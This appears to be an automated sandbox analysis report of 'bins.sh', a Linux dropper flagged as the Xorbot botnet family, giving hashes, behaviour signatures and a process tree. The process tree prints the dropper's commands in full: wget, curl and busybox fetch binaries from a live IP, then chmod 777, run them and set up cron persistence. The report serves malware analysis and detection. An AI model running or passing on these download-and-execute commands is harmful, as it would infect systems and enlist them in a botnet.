Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/12/2024, 06:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d46a3232f2d9e39c42e2378e3b9ee5f6
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SHA1
1c15292de404d15bfb04ffd8af708533296f3d87
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SHA256
273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95
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SHA512
d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15
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SSDEEP
192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-7.dat family_xorbot behavioral1/files/fstream-9.dat family_xorbot behavioral1/files/fstream-11.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1525 chmod 1532 chmod 1497 chmod 1504 chmod 1511 chmod 1518 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB 1498 zZM090BtLw96clc18K3325Bi3InWJUorwB /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG 1505 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 1512 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX 1519 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS 1526 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O 1533 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O -
Renames itself 1 IoCs
pid Process 1534 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.WP5dG3 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/17/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1596/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1608/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1570/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1605/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/10/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1559/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1560/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/491/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/940/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1591/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1470/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1589/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1611/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1059/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1182/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1290/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1050/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1177/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1599/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1607/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/6/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/667/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1030/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/538/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1119/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1155/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/267/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/465/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/517/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1175/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1221/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/18/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/28/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/153/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1549/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1616/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1617/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1569/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1572/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/31/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/197/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/416/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1594/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/165/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/521/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1154/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/169/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1077/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1111/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1590/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/115/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/163/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/716/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1606/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/156/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1541/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/24/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/80/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1169/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/334/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1326/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O File opened for reading /proc/1553/cmdline jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O -
Writes file to tmp directory 18 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG wget File opened for modification /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG curl File opened for modification /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 wget File opened for modification /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX curl File opened for modification /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS curl File opened for modification /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O curl File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB curl File opened for modification /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 busybox File opened for modification /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX wget File opened for modification /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O wget File opened for modification /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O busybox File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB wget File opened for modification /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG busybox File opened for modification /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9 curl File opened for modification /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS busybox File opened for modification /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB busybox File opened for modification /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX busybox File opened for modification /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1472
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/bin/rm/bin/rm bins.sh2⤵PID:1473
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/usr/bin/wgetwget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Writes file to tmp directory
PID:1474
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/usr/bin/curlcurl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Writes file to tmp directory
PID:1488
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Writes file to tmp directory
PID:1495
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/bin/chmodchmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- File and Directory Permissions Modification
PID:1497
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/tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB./zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵
- Executes dropped EXE
PID:1498
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/bin/rmrm zZM090BtLw96clc18K3325Bi3InWJUorwB2⤵PID:1500
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/usr/bin/wgetwget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Writes file to tmp directory
PID:1501
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/usr/bin/curlcurl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Writes file to tmp directory
PID:1502
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Writes file to tmp directory
PID:1503
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/bin/chmodchmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- File and Directory Permissions Modification
PID:1504
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/tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵
- Executes dropped EXE
PID:1505
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/bin/rmrm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG2⤵PID:1507
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/usr/bin/wgetwget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Writes file to tmp directory
PID:1508
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/usr/bin/curlcurl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Writes file to tmp directory
PID:1509
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Writes file to tmp directory
PID:1510
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/bin/chmodchmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- File and Directory Permissions Modification
PID:1511
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/tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵
- Executes dropped EXE
PID:1512
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/bin/rmrm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c92⤵PID:1514
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/usr/bin/wgetwget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Writes file to tmp directory
PID:1515
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Writes file to tmp directory
PID:1516
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Writes file to tmp directory
PID:1517
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/bin/chmodchmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- File and Directory Permissions Modification
PID:1518
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/tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵
- Executes dropped EXE
PID:1519
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/bin/rmrm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX2⤵PID:1521
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/usr/bin/wgetwget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵
- Writes file to tmp directory
PID:1522
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵
- Writes file to tmp directory
PID:1523
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵
- Writes file to tmp directory
PID:1524
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/bin/chmodchmod 777 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵
- File and Directory Permissions Modification
PID:1525
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/tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS./Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵
- Executes dropped EXE
PID:1526
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/bin/rmrm Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS2⤵PID:1528
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/usr/bin/wgetwget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵
- Writes file to tmp directory
PID:1529
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/usr/bin/curlcurl -O http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵
- Writes file to tmp directory
PID:1530
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵
- Writes file to tmp directory
PID:1531
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/bin/chmodchmod 777 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵
- File and Directory Permissions Modification
PID:1532
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/tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O./jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1533 -
/bin/shsh -c "crontab -l"3⤵PID:1535
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/usr/bin/crontabcrontab -l4⤵PID:1536
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/bin/shsh -c "crontab -"3⤵PID:1537
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1538
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/bin/rmrm jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O2⤵PID:1540
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/usr/bin/wgetwget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG2⤵PID:1543
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
210B
MD58bebc70a4f9e69bc5b25ecfceeb27161
SHA15da5f7b79a4818982f619a41d15d02683015b53e
SHA25649ba64772b2e256851514adcdbd2a6e48d29c6e219020abffae2d299a25dfc53
SHA512c9c80565c071fd18c873ecaaeb334249bf1a232efc83309a783addb6f4fad2c972899a2cdab225478fe78968cc1bca9d1fb611cdc1710bf41200e6c0ad531b78